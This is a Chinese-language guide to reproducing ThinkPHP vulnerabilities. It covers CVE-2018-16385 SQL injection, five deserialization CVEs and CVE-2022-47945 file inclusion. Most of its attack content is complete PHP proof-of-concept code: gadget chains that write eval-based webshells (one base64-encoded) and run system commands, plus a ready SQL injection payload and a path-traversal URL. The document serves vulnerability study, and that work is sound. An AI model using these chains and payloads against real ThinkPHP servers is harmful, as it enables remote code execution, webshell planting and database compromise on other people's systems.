thinkphp学习和历史漏洞复现总结
字数 2226 2025-08-22 12:23:19
ThinkPHP 漏洞分析与复现指南
目录
- ThinkPHP 基础知识
- CVE-2018-16385 SQL注入漏洞
- CVE-2021-36564 反序列化漏洞
- CVE-2021-36567 反序列化漏洞
- CVE-2022-33107 反序列化漏洞
- CVE-2022-38352 反序列化漏洞
- CVE-2022-45982 反序列化漏洞
- CVE-2022-47945 文件包含漏洞
ThinkPHP 基础知识
安装与配置
# 安装ThinkPHP 5.0
composer create-project topthink/think=5.0.* tp5 --prefer-dist
# 安装ThinkPHP 6.0
composer create-project topthink/think=6.0.x tp6.0.8
# 设置国内源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
目录结构
router.php:用于PHP自带webserver支持,可用于快速测试- 启动命令:
php -S localhost:8888 router.php - 开启调试:
config.php中设置app_debug为true- 或在项目根目录创建
.env文件:app_debug = true
URL路由访问规则
- 普通模式:
http://serverName/index.php?s=/模块/控制器/操作/[参数名/参数值...] - 混合模式(默认):
'url_route_on'=>true, 'url_route_must'=>false - 强制模式:
'url_route_on'=>true, 'url_route_must'=>true
自定义路由
在application/route.php中注册:
use think\Route;
Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');
CVE-2018-16385 SQL注入漏洞
影响范围
ThinkPHP < 5.1.23
漏洞描述
在处理order by后的参数时,未正确过滤处理数组的key值,导致SQL注入。
复现步骤
-
安装ThinkPHP 5.1.22:
git clone https://github.com/top-think/think.git git checkout v5.1.22 composer install -
创建测试控制器:
public function sql(){ $data = array(); $data['id'] = array('eq', 'test'); $order = $_GET['order']; $m = db('user')->where($data)->order($order)->find(); dump($m); } -
利用Payload:
?order[id`,111)|updatexml(1,concat(0x3a,user()),1)#]=1
漏洞分析
- 漏洞位于
thinkphp/library/think/db/Builder.php的parseOrder()函数 field()函数必须指定≥2个字段才能正常运行- 第一个字段会被添加反引号,必须为有效字段名
CVE-2021-36564 反序列化漏洞
影响范围
ThinkPHP < 6.0.9
漏洞描述
通过vendor\league\flysystem-cached-adapter\src\Storage\Adapter.php实现反序列化漏洞。
PoC
<?php
namespace League\Flysystem\Adapter;
class Local {}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache {
protected $autosave;
protected $cache = [];
}
class Adapter extends AbstractCache {
protected $adapter;
protected $file;
function __construct(){
$this->autosave = false;
$this->adapter = new Local();
$this->file = 'shell.php';
$this->cache = ['shell' => '<?php eval($_GET[1]);?>'];
}
}
$o = new Adapter();
echo urlencode(serialize($o));
?>
漏洞分析
- 入口点:
AbstractCache::__destruct() - 调用
Adapter::save() - 通过
getForStorage()获取写入内容 - 调用
Local::write()实现文件写入
CVE-2021-36567 反序列化漏洞
影响范围
ThinkPHP <= 6.0.8 (Linux系统)
漏洞描述
通过League\Flysystem\Cached\Storage\AbstractCache实现反序列化漏洞,可执行系统命令。
PoC
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache {
protected $autosave = false;
protected $complete = [];
protected $cache = ['`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php`'];
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $store;
protected $key;
public function __construct($store, $key, $expire){
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
}
}
namespace think\cache{
abstract class Driver {}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver {
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => false,
'path' => 'y4tacker',
'hash_type' => 'md5',
'serialize' => ['system'],
];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b, 'y4tacker', '1111');
echo urlencode(serialize($a));
}
漏洞分析
- 通过
AbstractCache::__destruct()触发 CacheStore::save()调用getForStorage()- 返回
[["command"],[]]格式数据 File::set()使用system函数执行命令
CVE-2022-33107 反序列化漏洞
影响范围
ThinkPHP <= 6.0.12
PoC
<?php
namespace think\model\concern{
trait Attribute {
private $data = ['huahua'];
}
}
namespace think\view\driver{
class Php {}
}
namespace think\session\driver{
class File { }
}
namespace League\Flysystem{
class File {
protected $path;
protected $filesystem;
public function __construct($File){
$this->path = 'shell.php';
$this->filesystem = $File;
}
}
}
namespace think\console{
use League\Flysystem\File;
class Output {
protected $styles = [];
private $handle;
public function __construct($File){
$this->styles[] = 'getDomainBind';
$this->handle = new File($File);
}
}
}
namespace think{
abstract class Model {
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd, $File){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware, new console\Output($File), $cmd);
}
}
class Middleware {
public $request = 2333;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model {}
}
namespace think\route{
class Url {
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app, $route, $cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}
namespace{
$zoe = '<?= phpinfo(); exit();//';
echo urlencode(serialize(new think\Model\Pivot($zoe, new think\session\driver\File)));
}
漏洞分析
- 入口点:
Model::__destruct() - 通过
table属性触发Url::__toString() - 调用
Output::__call()->block()->writeln()->write() - 最终调用
File::write()写入Webshell
CVE-2022-38352 反序列化漏洞
影响范围
ThinkPHP <= 6.0.13
PoC
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache {
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel {
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request {
protected $url;
public function __construct(){
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App {
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request' => new Request()];
}
}
}
namespace think\view\driver{
class Php {}
}
namespace think\log\driver{
class Socket {
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug' => true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php, 'display'],
];
$this->app = new \think\App();
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}
漏洞分析
- 入口点:
Psr6Cache::__destruct() - 调用
Channel::__call()->record() - 调用
Socket::save() - 通过
format_head调用Php::display()实现RCE
CVE-2022-45982 反序列化漏洞
影响范围
ThinkPHP 6.0.0~6.0.13 和6.1.0~6.1.1
PoC
<?php
namespace think{
abstract class Model {
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
protected $relationWrite;
private $relation;
private $origin = [];
public function __construct($value) {
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' => ["n" => $value]];
}
}
class App {
protected $request;
}
class Request {
protected $mergeParam = true;
protected $param = ["whoami"];
protected $filter = "system";
}
}
namespace think\model{
use think\Model;
class Pivot extends Model { }
}
namespace think\route{
use think\App;
class Url {
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;
public function __construct($route) {
$this->route = $route;
$this->app = new App();
}
}
}
namespace think\log{
class Channel {
protected $lazy = false;
protected $logger;
protected $log = [];
public function __construct($logger) {
$this->logger = $logger;
}
}
namespace think\session{
class Store {
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";
public function __construct($data) {
$this->data = [$data, "param"];
}
}
}
namespace{
$request = new think\Request(); // param
$store = new think\session\Store($request); // save
$channel = new think\log\Channel($store); // __call
$url = new think\route\Url($channel); // __toString
$model = new think\model\Pivot($url); // __destruct
echo urlencode(serialize($model));
}
漏洞分析
- 入口点:
Model::__destruct() - 通过
relationWrite触发Url::__toString() - 调用
Channel::__call()->record() - 调用
Store::save()使用call_user_func执行命令
CVE-2022-47945 文件包含漏洞
影响范围
ThinkPHP <= 6.0.13 (需开启多语言功能)
漏洞描述
通过get、header、cookie等位置传入参数,实现目录穿越+文件包含。
复现步骤
-
安装ThinkPHP 6.0.12:
composer create-project topthink/think=6.0.12 tp6 -
修改
app/middleware.php启用多语言:return [ \think\middleware\LoadLangPack::class, ]; -
利用Payload:
http://localhost/public?lang=public/test
漏洞分析
LoadLangPack中间件检测lang参数- 通过
detect()函数获取语言设置 load()函数包含指定文件路径- 最终通过
parse()函数实现文件包含
总结
本指南详细分析了ThinkPHP多个版本的漏洞原理和复现方法,包括:
- SQL注入漏洞
- 反序列化漏洞(多种利用链)
- 文件包含漏洞
在实际测试中,需要注意:
- 准确识别目标ThinkPHP版本
- 根据版本选择合适的漏洞利用方式
- 注意环境配置要求(如多语言功能是否开启)
- 反序列化漏洞通常需要找到合适的触发点
建议开发人员及时升级到最新版本,并关闭不必要的功能模块。